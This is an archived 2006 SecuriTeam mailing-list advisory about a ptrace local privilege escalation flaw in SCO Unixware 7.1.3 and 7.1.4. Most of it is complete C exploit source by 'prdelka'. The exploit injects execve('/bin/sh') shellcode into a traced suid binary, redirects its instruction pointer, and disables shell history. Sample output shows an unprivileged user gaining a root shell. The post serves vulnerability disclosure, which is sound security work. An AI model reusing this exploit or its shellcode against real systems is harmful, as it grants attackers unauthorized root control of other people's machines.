

[EXPL] SCO Unixware ptrace Local Privilege Escalation Exploit

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2006-02/msg00077.html>

- *From:* SecuriTeam <support@xxxxxxxxxxxxxxx>
 - *Date:* 27 Feb 2006 18:32:02 +0200
-

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>
-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.
<http://www.securiteam.com/maillinglist.html>

SCO Unixware ptrace Local Privilege Escalation Exploit

SUMMARY

<<http://www.caldera.com/products/unixware>> SCO Unixware is a Unix operating system that runs on many OEM platforms.

A vulnerability in the SCO Unixware kernel allows unprivileged users to debug binaries. The condition can be exploited by an attacker when he has execute permissions to a file which has the suid bit set.

DETAILS

Vulnerable Systems:

* SCO Unixware 7.1.3 and 7.1.4. (previous versions are suspected to be vulnerable.)

Exploit:

/* SCO Unixware 7.1.3 ptrace local root exploit

* =====

- * SCO Unixware 7.1.3 kernel allows unprivileged users
- * to debug binaries. The condition can be exploited
- * by an attacker when he has execute permissions to

[EXPL] SCO Unixware ptrace Local Privilege Escalation Exploit

```
* a file which has the suid bit set.
*
* Example.
*
* $ uname -a
* UnixWare iron 5 7.1.3 i386 x86at SCO UNIX_SVR5
* $ /linux/bin/bash
* bash-2.05$ uname -a
* Linux iron.fi.st 2.4.13 #1 Thu Oct 31 02:32:23 EST 2002 i686 unknown
* bash-2.05$ id
* uid=122(matt) gid=1(other) groups=1(other)
* bash-2.05$ ./fu /unixware/usr/lib/sendmail
* [ SCO Unixware 7.1.3 ptrace local root exploit
* [ Using 0xbfffd78
* sh-2.05# id
* uid=0(root) gid=1(other) groups=1(other)
* sh-2.05#
*
* - prdelka
*/
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <syscall.h>
#include <sys/ptrace.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>
#include <errno.h>
#include <asm/user.h>
```

```
char shellcode[]="\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x31\xdb\x8d\x43\x17\xcd\x80\x31\xc0"
"\x50\x68""/sh""\x68""/bin""\x89\xe3\x50"
"\x53\x89\xe1\x99\xb0\x0b\xcd\x80";
```

```
int main(int argc,char* argv[])
{
int esp, eip, i = 0;
struct user_regs_struct regs;
char *env[] = {"HISTFILE=/dev/null",NULL};
pid_t pid;
printf("[ SCO Unixware 7.1.3 local root exploit\n");
if(argc < 2)
{
printf("[ Usage: [binary]\n");
printf("[ e.g -rwsr-sr-x root root /linux/opt/kde2/bin/kcheckpass\n");
exit(0);
}
}
```

[EXPL] SCO Unixware ptrace Local Privilege Escalation Exploit

```
switch (pid = fork())
{
case -1:
perror("fork");
break;
case 0:
ptrace(PTRACE_TRACEME, 0, 0, 0);
pid = getpid();
execle(argv[1],argv[1],NULL,env);
break;
default:
waitpid(pid, NULL, 0);
ptrace(PTRACE_GETREGS, pid, NULL, &regs);
esp = eip = regs.esp - 512;
while (i < strlen(shellcode))
{
ptrace(PTRACE_POKETEXT, pid, esp, (int) *(int *) (shellcode + i));
i += 4;
esp += 4;
}
regs.eip = (long) eip;
printf("[ Using 0x%x\n",regs.eip);
ptrace(PTRACE_SETREGS, pid, NULL, &regs);
ptrace(PTRACE_DETACH, pid, NULL,NULL);
}
usleep(1);
wait(0);
return 0;
}
```

ADDITIONAL INFORMATION

The information has been provided by prdelka.

The original article can be found at:

<<http://prdelka.blackart.org.uk/exploitz/prdelka-vs-SCO-ptrace.c>>

<http://prdelka.blackart.org.uk/exploitz/prdelka-vs-SCO-ptrace.c>

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@xxxxxxxxxxxxxxxx

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxxxx

=====

=====

[EXPL] SCO Unixware ptrace Local Privilege Escalation Exploit

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.